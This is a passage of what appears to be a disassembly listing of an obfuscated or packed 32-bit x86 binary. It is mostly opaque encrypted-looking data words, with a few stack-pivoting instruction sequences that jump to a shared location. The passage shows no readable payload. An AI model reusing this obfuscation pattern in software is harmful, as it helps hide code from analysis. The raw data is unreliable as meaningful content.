405h, 4BF5700h, 29000000h, 4875FF8h dd 0E3685C24h, 8900001Fh, 2E68241Ch, 89000044h, 0BA52243Ch dd 2A4E4CF8h, 8108E2C1h, 6516DBF2h, 0DEF28166h, 52202966h dd 8B545A5Bh, 0C481243Ch, 4, 15B85053h, 15C661Eh, 58042444h dd 8108478Fh, 1E15086Fh, 3C8B5C66h, 0E6895624h, 4C681h dd 0C6830000h, 24348704h, 241C8B5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dd 82030986h, 40B813E1h, 308008Eh, 0F9E0FFC5h, 0C2ECB9Eh dd 0A950C488h, 5F62BC74h, 313E22CBh, 0A0BE5C7h, 0E51D7326h dd 2C6EDAF2h, 0E816CBE4h, 691666D5h, 0CA586198h, 0F374641Eh dd 361E55A4h, 0E81A5304h, 0Ch, 102BD665h, 524EF65Dh, 9CD725D1h dd 16B8C881h, 535A50D0h, 890FF960h, 0 aAxbSr db 'aX│бsr',0 align 4 dd 3DC78166h, 1C7968F0h, 0B9660000h, 665BD663h, 32FFC38Bh dd 0CE95Eh, 85580000h, 0AE9C601Dh, 9258AE83h, 0EE81BBD2h dd 68CB57ADh, 0D8D0Fh, 7E80000h, 0D4000000h, 8722CA5Eh dd 815FA660h, 27CEEEEEh, 0D9805638h, 0F6815822h, 5285BAF9h dd 89C8BF0Fh, 8AF7B832h, 0EA831AE3h, 5ECF8104h, 8309FB2Dh dd 850F01EBh, 0FFFFFFA6h, 0E9F98B66h, 13h, 3EB32F9Ch, 3 dup(0) dd 0E9000000h, 4CBh, 910368h, 0EF26E908h, 6F68FFF9h, 0E9080091h dd 0FFF9EF1Ch, 92F568h, 0EF12E908h, 8E88FFF9h, 0E52DDA10h dd 3FD683B9h, 937C295Fh, 0E928D50Bh, 964B7FB5h, 43A64ADh dd 0ABE1BD57h, 568C12FEh, 0FE346AA9h, 58BBD72Fh, 7E07E712h dd 67BC6118h, 0A350F6A8h, 4BA0306Eh, 9D30D6C8h, 831BF84Dh dd 7C29CFF8h, 36EFF697h, 0D1B28E32h, 0CE48BDF4h, 0F760710Ch dd 372960C1h, 86E98BA7h, 348D07E1h, 0C8C54FA4h, 7315AEEh dd 4CF25BBDh, 0B6268DB9h, 0AF3007E0h, 0C2B6EEF5h, 489D406Eh dd 27779AC8h, 640A739Ch, 30A83h, 33DE3300h, 0AAC52844h dd 92EB07E0h, 0BCCC8329h, 82FD607Ch, 0CA23FFE6h, 0EB4EA25h dd 14751F35h, 9EA0BC4Ch, 4407E089h, 0D13A64AFh, 0F0423094h dd 1880545h, 50A00D4Eh, 0CB34D4E0h, 0D75D1F3Bh, 0FA3A027Fh dd 4BC67BDEh, 0D650A9FDh, 72889345h, 0D720C66Fh, 62CBD342h dd 95CBBED7h, 46A9C505h, 33FD4C68h, 0F77F034h, 0C922630Ch dd 0EA6F8B23h, 0D405463Fh, 7996EB7Bh, 0CB719A25h, 6935DE33h dd 0D58D8633h, 70D5603Eh, 2C95FEA0h, 287016Eh, 48E72263h dd 2FAh, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h, 0F72D719Eh dd 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h, 48CB78AEh dd 0F9512056h, 0E7147ADDh, 8B42A807h, 3ACA96F3h, 0E713661Eh dd 24EB8007h, 2C81117Ah, 0D683B9E5h, 0A9D3633Bh, 512F52ECh dd 0F915A50Dh, 7E70696h, 2ABD63BCh, 0E70696FEh, 7727EC07h dd 624368B9h, 8928636Eh, 28Eh, 689E0016h, 114757BBh, 0B7EDB164h dd 6399050Ah, 0D435BB6h, 0D63B24D9h, 2FE592C8h, 848C396Fh dd 0DC37E41Ah, 65BD8CC2h, 0E713E649h, 0EFA60C07h, 3ACA96F3h dd 0E713661Eh, 97278007h, 41CCD242h, 8FDF7218h, 0BCF9254Fh dd 0FAA1A63Ch, 0E69B2B8Eh, 5A005907h, 0E69B7FE6h, 0D8C64907h dd 722CE84Dh, 0E09ACBE7h, 9852D338h, 74A35991h, 195F740h dd 0A7880000h, 62A2326Ch, 0E682E346h, 3866ADFFh, 0AE4384ADh dd 28CE3767h, 0BBE33095h, 623CD62Bh, 0C33580E8h, 640AA1B6h dd 75C4C526h, 0E69AF659h, 8E871CFFh, 0AE3EA710h, 9AEF526Eh dd 0BC15FFE6h, 0C8627E16h, 0DE07E0C5h, 6BD4CA49h, 138B86DBh dd 0ADF12388h, 0EA90F922h, 0B5C42B57h, 4DCE07E0h, 0D19AC493h dd 0E52B14A2h, 46D1CD43h, 3E0EB41Dh, 406EE606h, 27A4h dd 67BC3500h, 3D66F1ADh, 0D533697h, 9B93617Dh, 368F07E0h dd 9B187FABh, 0A12207E0h, 0A7A8E0E7h, 0B746406Eh, 0D7000000h dd 0A7326CA7h, 7A130257h, 0C6F454B1h, 0BB11AF1h, 5BEBB35Eh dd 0EB9CFF1Bh, 71CAFFE6h, 40D338CBh, 9B79CE5Eh, 0A94F7803h dd 6A86C616h, 0FFE6EB07h, 812ED42Dh, 3ED60C92h, 27F9E414h dd 0B1573003h, 0E72EB43Dh, 4845CEFFh, 0FD2E02EBh, 0FE50402Dh dd 0B3AE2AA4h, 2639902h, 2D49D987h, 7E38D57h, 459A2A83h dd 0EF9CD2CCh, 7DBE7C22h, 5E9E61CAh, 1088423h, 7A9C0000h dd 0D141EE24h, 2BEA97CDh, 7F903D73h, 0D53CE91Fh, 0AA5F93C9h dd 184E50C1h, 0BFF5A96Bh, 6AA0FE12h, 124856BDh, 6CCFEB43h dd 9A07E715h, 6AA77D34h, 5C301923h, 53BCCA68h, 0FBA3701Dh dd 6CA70EC5h, 0D142A732h, 2BE83DCDh, 2E8FCD73h, 5975055Bh dd 7E0D258h, 4095257Eh, 2397CDD1h, 7E0D2BCh, 65008D86h dd 0C56BA8D5h, 71C656BFh, 0B85B009Eh, 8C325BE6h, 2E70A14Eh dd 8804A3h, 0F39D0000h, 1E3ACA96h, 7E71362h, 4898237Ch dd 0DC821CF3h, 84BAE42Fh, 0D7623CD7h, 9ACDB7ABh, 4955BB3Eh dd 0ABB759BEh, 44CF3866h, 50F8B2EBh, 0FE1267B7h, 8618FBA0h dd 0AB2CD2FBh, 98060DF1h, 195EB562h, 99B79AFDh, 0DF33C83Eh dd 62ED56BFh, 18C12FDh, 0A88C466Fh, 4EA3336Bh, 3396B2C5h dd 613E99B7h, 0F30F9F08h, 3E99B790h, 79B75DB6h, 0CC5747CCh dd 112Dh, 0FFBBE500h, 492A42CCh, 643AD97Eh, 530AB0D9h dd 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h dd 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 53528510h dd 0BD55E389h, 4, 835DEB01h, 1C8704EBh, 92685C24h, 8900002Fh dd 1468243Ch, 89000015h, 0B951241Ch, 46876129h, 87EEC8BFh dd 8BCF314Eh, 0C483240Ch, 1C8B5404h, 4C48324h, 8904EC83h dd 438F243Ch, 241C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 5F2434FFh, 4C481h, 69E90000h, 53FFF9EAh, 0B869EE1Dh dd 8009422h, 0E0FFC503h, 18F87E68h, 0B0CC2B3h, 32B40577h dd 66528FB1h, 4D9BAF03h, 11D9C8AAh, 1FD89562h, 3A11D1CEh dd 762516F5h, 73D4B64Eh, 69227417h, 487C1709h, 70F7D662h dd 64F5F4EBh, 147F819Bh, 5FAE89A3h, 5811456h, 5A1413Ah dd 7C1815B2h, 4D98D0DFh, 3D36E89Eh, 6F50491Ah, 95B38D8Dh dd 6E90800h, 0DE000000h, 36200853h, 0D98D897Dh, 0F07FA1Ch dd 0C8Dh, 68C0F00h, 1000000h, 0FA2E1995h, 0D18B6607h, 31AD85C7h dd 6E6807FAh, 8B660000h, 0D985C7C2h, 7FA2Bh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 6674C350h, 7EE4DB81h, 9252BF66h, 138B0Fh dd 0EE90000h, 0CE000000h, 0E8480A62h, 93537775h, 1388F3C4h dd 49B5FF95h, 8907FA21h, 0FA169185h, 9995FF07h, 6A07FA17h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 34AC351h, 6E950h, 0AED80000h, 46D819E7h dd 0FF006A5Ah, 0FA101995h, 0EBC08B07h, 9559D33Dh, 756D6B1Ah dd 466DE25Ah, 0BCC43E1Ah, 630E6EA6h, 7FB21A42h, 54BD0B35h dd 3B2DF8C1h, 922E4A38h, 0C919E658h, 927B27D6h, 385FDA43h dd 356E2F1Eh, 0EB061534h, 0B4B8035Fh, 14E8C579h, 0CD000000h dd 0C6E07EF6h, 0D5CC606h, 2188612Bh, 8D3B80E6h, 89A99C51h dd 0FA229195h, 820F5907h, 0 aBUh db '│аUh',0 align 2 dw 0BD8Bh dd 7FA1D35h, 19E868h, 37B86600h, 0BE665A9Ch, 31FFEFB4h dd 1EB19D29h, 8B5B07FAh, 96C381FAh, 897A56D6h, 0FA0E0D95h dd 0DBC38107h, 6652FAE0h, 0F381F28Bh, 0BE9DE34h, 1895BD8Bh dd 605307FAh, 0EE58D8Bh, 0BB6607FAh, 8F61E96Bh, 2225B801h dd 0E98372DCh, 0F7B70F04h, 1EA81h, 850F0000h, 14h, 0D4DBD8Bh dd 21E907FAh, 6A000000h, 70B58835h, 42058EDAh, 7608BF66h dd 0FFFF91E9h, 489517FFh, 5030FCFDh, 0C39D4F3h, 66832669h dd 10E9h, 11EB8200h, 60h, 2 dup(0) dd 554E900h, 0A2740000h, 0F919C6FCh, 53C26FA5h, 0A768154Bh dd 0FD14C1F7h, 82376BA1h, 0F0267899h, 97CDD143h, 427826EAh dd 0EA207E95h, 44A7C31Bh, 7207E719h, 0F01F740Ch, 960809AEh dd 6CA739F0h, 0CF42A732h, 27EC99CFh, 8C87EC77h, 0F0228712h dd 91CA23AEh, 61B308D7h, 0E389B23Dh, 8BC1DD36h, 366C32DEh dd 8C178789h, 26B1ED27h, 0CDB16B94h, 78255B43h, 4C78039Bh dd 0FFE682E6h, 0E5ECA617h, 38748FADh, 0F0016A94h, 14D5C044h dd 0A48D6Eh, 0A71E0000h, 7BA7326Ch, 0FFE68316h, 1118D243h dd 38748ED9h, 0C1996C0h, 94DD405Ch, 1A0DEEh, 7DBD0000h dd 527C0F53h, 0EF5BE107h, 0FFE5DA8Ch, 0D9EC4F6Bh, 0C11AFFE5h dd 0CA812780h, 0A8336BA7h, 69192E58h, 0AE35965Ch, 88B13C62h dd 46CC791Fh, 537DCD58h, 0BB24B6E1h, 637F0FFCh, 0FFE6F600h dd 7A27CD26h, 4F790995h, 41EF60ACh, 5CEF950Ah, 2C10CA03h dd 266CA7E6h, 702943AFh, 0E721F154h, 5DC61FFFh, 211BEF4h dd 0B0CC0C9Ch, 0FFE7224Dh, 36741A73h, 0E4345E9Eh, 656F2768h dd 5DF457C3h, 0C922FFE7h, 6AA76C23h, 18811DF8h, 0C0DE3388h dd 19A4FA1Bh, 52B74AF0h, 1D8DB7C0h, 0EE760F9h, 86CCF3Bh dd 419AFFE7h, 314DD8h, 0EFAF6246h, 86070A5Fh, 0C50BBCC8h dd 25B01952h, 4C56B9D5h, 237CFFE7h, 29D614BAh, 0C429B4EAh dd 9DC24D51h, 135B621Ch, 0B1387552h, 82h, 0F86AA742h, 901B841Ah dd 81E40040h, 0AFFFE683h, 47AAC656h, 6DFFE683h, 54C16E14h dd 0B390BA4Ah, 3D48F698h, 0ECEAA98Bh, 147DD429h, 4982DB6Eh dd 3866AB8Fh, 0FA156A02h, 18DF19A4h, 0E8895BB5h, 21CE74DDh dd 0BE23AEF0h, 9DC24D51h, 46A9C505h, 6CFFE6E1h, 0D9643AD7h dd 20A147B0h, 0E7175F66h, 32B53874h, 46000000h, 0A9346AA7h dd 47D2CC44h, 3908C203h, 837ADDF9h, 4FA8FFE6h, 8915FCA9h dd 6BA79C53h, 167CA833h, 47FFE683h, 0DD151CD6h, 7B38748Eh dd 1, 306EA70Ch, 0CBD340A5h, 6A34DB40h, 6987ADFh, 742E5F7Bh dd 17D1FACCh, 4101E48h, 883B453h, 3E60B562h, 14307008h dd 0FFE77DB1h, 7FE086DFh, 0AAC6560Ah, 7E1944Ch, 6F2FE57Ah dd 0FD167B06h, 55BE6BA1h, 2D92BE49h, 1407E170h, 0DE3519D3h dd 3D0630C0h, 94DA8056h, 9D4A882Eh, 389D2876h, 1C38C3DBh dd 0A947FD4h, 0A9F51A7Fh, 0E68CF51Eh, 87DCAB65h, 628B1688h dd 5E040FBCh, 0FB60EBB3h, 0B31C8519h, 8490E57Dh, 8E74D7F3h dd 49A207E0h, 326A3AE0h, 0D0406E9Ah, 14Ch, 25EB4080h, 82AA0D79h dd 43D807E0h, 1E47D2CCh, 0F3580FB5h, 18868E96h, 46CA1FAFh dd 1EA9F51Ch, 0D8018CF5h, 287E9A32h, 3607E0B8h, 9B234DDDh dd 0D283DE26h, 399E31D7h, 0F68EC4DAh, 0CB379AB6h, 16F907E0h dd 48EE4788h, 9B26789Bh, 36C1DD36h, 0D15C42D1h, 0CB026581h dd 0D73007E0h, 33BEE032h, 842CE617h, 898BE028h, 0BB618A15h dd 779C803Ah, 0E921F127h, 87406ED6h, 2Eh, 0C69AF318h, 83971A36h dd 0E43D7FE6h, 5DB40959h, 0E78DB641h, 0E6821073h, 2BCE57Fh dd 0AD3D236Ah, 0E6820E91h, 255BB4FFh, 0A33Eh, 92BCD700h dd 3C2867Fh, 50B157D7h, 42972739h, 932BD1CDh, 0E0E70D77h dd 204A8A07h, 0A8A10F5Eh, 2D90FC8Ch, 5307E086h, 9C5C6E9h dd 58C17C6Dh, 851069B2h, 75ABF320h, 0C3534BC8h, 6EF9A56Eh dd 0E00C9F45h, 7E17678h, 4C30EA2Bh, 9A1D7C7h, 0B23D61B4h dd 8BB34878h, 0F861550Dh, 0C898F152h, 0E56D1C38h, 126B0FE1h dd 0ADF12287h, 0FB509022h, 0D6FF8A14h, 26F5AF30h, 0E067CAE6h dd 0E8290FE0h, 0C1022BB6h, 2861C268h, 0DD8CA838h, 0AC17E176h dd 4DED506Ch, 0BA1307E1h, 0D7A09440h, 3CE2508Eh, 0AD649AF3h dd 3ACA96F3h, 0E71A6F1Eh, 93F41E07h, 0D9A5D66Ah, 0D353B6D2h dd 288107E6h, 77D019BFh, 128C87ECh, 7EE42FDCh, 557E0995h dd 0D13A64B0h, 4B8F1A46h, 5FB16FF8h, 4864B43Fh, 5FF7A9E5h dd 80DB20Bh, 79B20B96h, 457E17BFh, 326CA78Bh, 0DAC44FFCh dd 0A3BFFF4Fh, 5FF7AA40h, 4D8E1002h, 6EA14EF4h, 47E20F4h dd 673BCCF8h, 0C752BB58h, 62EDB162h, 446017FDh, 5FF850E1h dd 0C24DB60Fh, 0DB833D7Eh, 4226E009h, 0EA97CDD1h, 0BBE57529h dd 23D89195h, 3ED177D7h, 119Fh, 0C62D5700h, 0E1E609AFh dd 0FC8717FEh, 0DC46AD3h, 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh dd 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh dd 8E84E974h, 68528510h, 98Eh, 89242C89h, 4C581E5h, 83000000h dd 2C8704EDh, 84685C24h, 89000054h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 80096CDh mov ebp, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push ebp sub dword ptr [esp], 165D6B09h pop dword ptr [ecx+8] add dword ptr [ecx+8], 165D6B09h push dword ptr [esp] pop ecx add esp, 4 mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dd 96A7E4F3h, 191AB31Dh, 0A2B8C3D5h, 308009Bh, 0F6E0FFC5h dd 171ED9E3h, 8117FC4Ch, 31568A9Fh, 0B452FB2Dh, 0C003CD98h dd 606C4115h, 19444C19h, 73196940h, 79519197h, 0BA3D64CBh dd 0B90C8FBEh, 2B658F9Eh, 8D44FCEFh, 9D918Dh, 55006A08h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 4732E6Dh, 0B70F600Eh, 119D8BF8h, 6107FA06h, 1DED9589h dd 8D8907FAh, 7FA1CD9h, 2A399589h, 85C707FAh, 7FA31ADh dd 5DD0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 40C35343h, 37C50BBDh, 608BD7BAh, 25BD8956h, 5E07FA2Ch dd 2BD58D89h, 0C76107FAh, 0FA2BD985h, 7, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0E4465F08h, 8B96C5C8h, 0FA0B4595h, 3DB5FF07h, 6A07FA24h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0EB1C356h, 0FEF50BCh, 1C8Ch, 11E800h, 0F3320000h dd 47ED32BEh, 0CF85D22Ch, 0F6ADE321h, 66F5DD1Eh, 0AD01EA81h dd 9D858B58h, 0FF07FA27h, 0FA179995h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 1C8274A3h, 4230BE01h, 6AC2BF0Fh, 1995FF00h, 8B07FA10h dd 445BEBC0h, 0D8BDA7D1h, 9A399A2Ah, 8B392DF6h, 8E48636h dd 459FEE9Bh, 47A7CBA1h, 1D651C46h, 5A168880h, 8E87E0C5h dd 99C87868h, 0F12EFB45h, 9387ABFDh, 2259E618h, 0C772834h dd 7B6012EFh, 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 1B1E0C78h dd 31E8E466h, 0AEE76D5Dh, 0EEEFB854h, 0E3531EABh, 365DB162h dd 56AC383Dh, 0E06B132h, 0EABB153h, 56D5B130h, 91AB0DE7h dd 5692DE0Ch, 2E028611h, 0AA5DB10Ah, 0E8939CBh, 5657B130h dd 0D62CB31Dh, 564500E0h, 5F03D132h, 0DE75B132h, 2BB08898h dd 0E47008D6h, 56AB3F3Dh, 12E9B132h, 3786A6ADh, 0D8DAB132h dd 56EAB13Ah, 56FFBE52h, 37BAB132h, 0DC52B132h, 56AEB12Eh dd 56435952h, 7392B132h, 29DD99BDh, 5F7E7DB9h, 3A18B163h dd 538F282Ah, 3705C7D5h, 0D1A1B132h, 5657B134h, 8E20D752h dd 56D5D0CAh, 56E6303Dh, 0D07AB132h, 56BAB134h, 565D3E3Dh dd 0B900B132h, 5651B16Fh, 3380B132h, 0AA90E180h, 568B5D85h dd 0C6754432h, 56ABB16Dh, 93BCB132h, 0BD5D4497h, 0D453D638h dd 22C9393Eh, 0BEF84E31h, 56EAB139h, 8F164A9Ah, 0C99765C5h dd 0D79C83B8h, 0E7BFEFE2h, 5636EA16h, 56AB4832h, 56D4343Dh dd 0AA12B132h, 0D97AB132h, 56BAB13Ah, 565F313Dh, 37CEB132h dd 0DD58B132h, 56ABB133h, 56D544CAh, 0AFEAB1CAh, 5C9CB132h dd 0B5BAB132h, 0EF0EF4B3h, 0B8E8440h, 5957B174h, 56ABB9B9h dd 545EBE32h, 36EAB132h, 0BF75B153h, 56BAB126h, 8C6148F8h dd 0D3774000h, 1CBD6BB6h, 18EF8B4Ah, 13983EC2h, 48AB132h dd 5D80316Dh, 36BAB153h, 563C5283h, 432BBE32h, 0BF57B132h dd 56ABB122h, 0C80B1370h, 40D6E479h, 62805DF4h, 0D7059E67h dd 365DB1CAh, 0DD783A52h, 0E158D0FDh, 56ABD0C3h, 56DE333Dh dd 0D68AB132h, 0DF7AC7D4h, 56BAB132h, 0A35DB153h, 0D5A1B132h dd 5657B135h, 56AA3F3Dh, 562CB132h, 9D61D132h, 361472B9h dd 0EE5A30CEh, 3716A028h, 4747B132h, 757B132h, 0C8BD15DFh dd 610B5C81h, 169C24BFh, 94D41B72h, 0EDDAB132h, 6226FBCh dd 56CFEC80h, 57DBBE32h, 0AEABB132h, 503CB132h, 32EAB132h dd 63D9CEE1h, 56BAB388h, 63DB132h, 56AEA5DBh, 0CE53C432h dd 86D41681h, 0BD685129h, 9F11AF5Eh, 82DABA2h, 0DDE9EF54h dd 8E3CEEF9h, 52AEB235h, 5257B732h, 5EAB8032h, 56D42032h dd 5A03D152h, 0B575B132h, 95B2ADC9h, 7C06AACBh, 0BF2C6D89h dd 5657B13Ch, 440346BFh, 0E1CA1621h, 7FA9C6D7h, 0D61469D9h dd 56DBC7E8h, 5BD5BE32h, 0BFAEB132h, 5657B13Ah, 7D2D8683h dd 0FCB6B52h, 56EAB7DBh, 0D42BAD32h, 56FDD1DCh, 0EE3BD132h dd 375BFB35h, 5ABEB132h, 0AFABB132h, 0EE964975h, 50727046h dd 56E74B02h, 5731BE32h, 0A35DB132h, 58A80B52h, 0DD3191F9h dd 56ABD0FDh, 56D5BADBh, 8CF14332h, 732140F5h, 87D3808Eh dd 540BB132h, 56AEB7B6h, 0D4973032h, 0D789AA50h, 0E7D497DCh dd 56EAD043h, 75B1C7h, 56B05930h, 9F09B132h, 3CC96169h dd 0BF17A454h, 37F37BB9h, 503CB132h, 6DEAB132h, 3B8B7E8Eh dd 0DA2178h, 602E861h, 56A15860h, 0E6CB132h, 52BC2783h dd 266693DFh, 0CAE5DFDBh, 0BF44BE97h, 56BAB13Fh, 625AF713h dd 0F60D636Fh, 9AA8AF6Bh, 37F3EB27h, 0BF87E162h, 56EAB13Bh dd 86E633FFh, 0AA557FFBh, 366CBEB7h, 0CA593A54h, 5657B9DBh dd 2892B132h, 0DC209DEDh, 876BD7C9h, 5A9CC464h, 92BAB132h dd 662E539Fh, 0A619F9Bh, 0CBBC8B57h, 0C6F3EB53h, 0DDB3D0A2h dd 377CD0FDh, 5251F5BBh, 59532D52h, 6D5DB132h, 4138006Ah dd 0E5755C36h, 59C55842h, 0D7B314AEh, 0BFE139C3h, 5675B134h dd 0B8EB674h, 6C012E0h, 4317D760h, 0EE66BE06h, 2FB24DA3h dd 0EB4E968h, 56F8E96Ah, 0F5A7B132h, 0A9A4E892h, 4D77A4FEh dd 0A158208Ah, 0C5D57C56h, 36F5D052h, 0CA050E3Dh, 56EAB8DBh dd 0D5478C32h, 89C48832h, 90DC441Eh, 3DA3CF2Ah, 5657B7DBh dd 927CE732h, 0CBA6539Fh, 0DFB2D053h, 6719576h, 36E8E160h dd 0BF6CBE53h, 56AEB13Bh, 961443CFh, 0BA348FCBh, 598DEB87h dd 56EC5803h, 0C163B132h, 6518DCB6h, 3205E968h, 0F5F0AE8Ah dd 4472BD9h, 7884EFC1h, 0D7B5B132h, 0B57C9BC3h, 53F6BE01h dd 0ECBAB132h, 0D340A2Fh, 59AEB153h, 5657B0B9h, 56AB4432h dd 62C3A52h, 56EAA0DBh, 6683D632h, 69F97CB8h, 9CF66B15h dd 0B365FEDFh, 370C35F1h, 59ABB1C7h, 56D5BCBFh, 56E25832h dd 5A6CB132h, 95F6037Bh, 565DDEAFh, 56A9353Dh, 0D158B132h dd 56ABB133h, 59D5B1C7h, 56EA94B6h, 449CD132h, 0F4BAB132h dd 2333DEBDh, 2288E12Fh, 0AABA8815h, 6E66C0B2h, 56D359AEh dd 760CB132h, 9A58EA96h, 56BAD06Dh, 988E0852h, 0FCDC51h dd 5636E86Dh, 0D7CDD132h, 0BF0F1BF3h, 56EAB13Dh, 0A9A937ECh dd 6C2B19FEh, 32914A01h, 3780CF4Eh, 0D758B132h, 56ABB125h dd 56D95952h, 0E3DAB132h, 0E0C4D19Ah, 0AD035B51h, 59023F10h dd 56CF6A8Dh, 565D5832h, 0F1BBB132h, 14D9CD00h, 0CE5F916Fh dd 567B303Dh, 5F53B132h, 0B25DB132h, 36846F24h, 462D6611h dd 59CBB132h, 0A75E6785h, 59EAB153h, 5675B6B8h, 5739BE32h dd 0AE5DB132h, 5C47B132h, 357B132h, 8F485C24h, 0A6AA3645h dd 59EAB1E4h, 5675A4B2h, 56AA5832h, 0AE6FB132h, 66A0CC36h dd 2D19740h, 9E6B3D22h, 56D53443h, 56EABADBh, 0DD79C232h dd 105F95C9h, 69E21CF0h, 5652B132h, 5AD2BE32h, 59ABB132h dd 56D5B7B6h, 566CBE32h, 5675B132h, 56AB5832h, 8076B132h dd 0D1E28793h, 7FF7AEC8h, 8EC35F68h, 565BE05Dh, 56E15832h dd 0BF61B132h, 78A1D73Ah, 63788E63h, 0AEAEB10Bh, 0D758B132h dd 56ABB135h, 56D4353Dh, 5612B132h, 56795832h, 0A674B132h dd 7B81AD3Dh, 0C455285h, 56571B4Ah, 56AA3A3Dh, 5620B132h dd 56EA4932h, 0D07AD1C7h, 56BAB12Ah, 565DA2DBh, 5A81FD32h dd 0F4D1FD35h, 0F5625DC8h, 0BB7BCFCEh, 98386699h, 5614E686h dd 4553D132h, 0C5DB132h dd 0E104F7CFh, 3238D434h, 0A316C383h, 65C6CFC9h, 0E1E5BDD0h dd 5675D0F4h, 0AFBAB1CEh, 50B4B132h, 5CAEB132h, 1EC37CA7h dd 59ABB1F0h, 56D5BCBDh, 56E25832h, 1C0CB132h, 9507E7h dd 565D8F5Ch, 5D24BE52h, 0BE57B132h, 56ABB137h, 0B679156h dd 0ED8CEA62h, 361496BDh, 56AB5964h, 2936B132h, 0DFB1A8C6h dd 477DF806h, 81301E28h, 0F33DCB0h, 56EC586Ch, 5BCEB132h dd 0BBAF3412h, 0BF5DB153h, 56AEB13Eh, 7D71B0C6h, 0A04A1E72h dd 9C72A9C8h, 0D2E5B132h, 5675B133h, 56AE58CEh, 812EB132h dd 747CF278h, 9EE0BD0Dh, 452215ECh, 23CDE9B6h, 56EA2115h dd 5675A3DBh, 0BB2A4332h, 5544619Fh, 64419D20h, 90CA8906h dd 5621A64Bh, 56D54832h, 56EAA3DBh, 1BC64F32h, 31D44013h dd 0C4BE211Ah, 0E267C609h, 0BF092AEAh, 56ABB138h, 0D65C8202h dd 7D61ED76h, 567537C5h, 36BAB1CEh, 565DA2DBh, 2A49732h dd 8697F556h, 0C8C9ABA0h, 0DA710215h, 0F8FD0C86h, 5675BDDBh dd 70C71D32h, 0C25D53EDh, 9F35882Fh, 5657D042h, 0D7CDE352h dd 9460DD4h, 755268B3h, 0AF14CAA3h, 0D6B5B132h, 565DB13Eh dd 56A83D3Dh, 0D458B132h, 56ABB132h, 0D3DAB132h, 56EAB124h dd 5675A0DBh, 75DEA032h, 446C0689h, 968F2BB0h, 0C91EF265h dd 56ABFB44h, 36D5B1CBh, 56EC393Dh, 0D37AB132h, 56BAB132h dd 595DB153h, 56AEB0BBh, 56574432h, 56A05952h, 0E3C9B132h dd 4B1839CEh, 7A4AB305h, 9810698h, 565DBEDAh, 7599D32h dd 0AF1B01D4h, 82927DACh, 2B3305CDh, 8E8D0F54h, 0DC15D06Ch dd 56BAD0FCh, 565DBDDBh, 0F9B8F632h, 0E9AF2255h, 3C156AE2h dd 56D54995h, 0BF2D3B52h, 5675B13Bh, 59C786FCh, 9461F071h dd 0D0A1D049h, 5657B13Eh, 56AD3F3Dh, 0DBDAB132h, 56EAB132h dd 459CB132h, 0B1BAB132h, 0C91B692Bh, 0A73F905Fh, 0CF5BF84Ch dd 63798D03h, 56D501B2h, 56EAB9DBh, 0DCD89E32h, 5B26648Ah dd 0BF5DB1D9h, 56AEB13Bh, 0D487E185h, 7E2C2BD2h, 0AED5B102h dd 0BF16B132h, 5675B138h, 0AB083115h, 4C0BF21Ch, 56AE99DCh dd 5676343Dh, 59CBB132h, 56D5B1BEh, 56FE5832h, 0BDB132h dd 87158133h, 0FED6DA4Ah, 0F2860A54h, 0F6F9CA11h, 56CA0E9Ch dd 5F3CD132h, 0F6EAB132h, 0CC6BCCA6h, 0C7010467h, 595DB153h dd 56AEA2B7h, 56595832h, 0D888B132h, 3726FA1Eh, 0C9347472h dd 3CB24C87h, 0DCB5B132h, 565DB135h, 56AF303Dh, 36ABB132h dd 594E7FB2h, 56D5B2BDh, 0A461D732h, 5975B153h, 56BABDBCh dd 565A5832h, 6B16B132h, 4AC2E293h, 36ABB1B0h, 91F3A63h dd 36EAB153h, 37863A54h, 4453B132h, 0FE5DB132h, 240DA6AAh dd 1D6EDCD5h, 2423CDFCh, 85BFD35Ch, 0BFEAB117h, 5675B138h dd 64CDAF62h, 13D6F9Eh, 5D47FAD1h, 9A57B132h, 650EE2C3h dd 0B28B175Eh, 56EA6C52h, 5675BBDBh, 2F73C332h, 8E750EF2h dd 56B5491Dh, 45BE4432h, 0B4ABB132h, 9F1EF28Bh, 0B263DEF2h dd 0F91A0727h, 0FD5A4814h, 565D56CAh, 56AE44CBh, 5657BADBh dd 3716F732h, 4378E158h, 3BAEDE77h, 0D77AB132h, 56BAB13Eh dd 565B3E3Dh, 0D2A1B132h, 5657B132h, 565EB132h, 56D95832h dd 8CF9B132h, 926ACF7Dh, 817247FDh, 565DAA7Bh, 59AEB1C7h dd 5657A6B3h, 56B95832h, 0A10BB132h, 35CE1871h, 4BCF5422h dd 0A3F9523Dh, 1A8C2A93h, 0D2A1B132h, 5657B121h, 56ABBFDBh dd 2E777D32h, 880DAC10h, 0E78BFA3Bh, 0BF74D8F6h, 565DB123h dd 0B57EE625h, 4E896560h, 0A43FCE79h, 1E740183h, 36EAB17Bh dd 0A0200F54h, 56BAA3DAh, 48605E32h, 29075DE8h, 34F34890h dd 0FCEC3A0Ah, 368F650Ch, 368BE853h, 0F82243B3h, 0DAD711h dd 563CD06Dh, 56A75832h, 0AC0B132h, 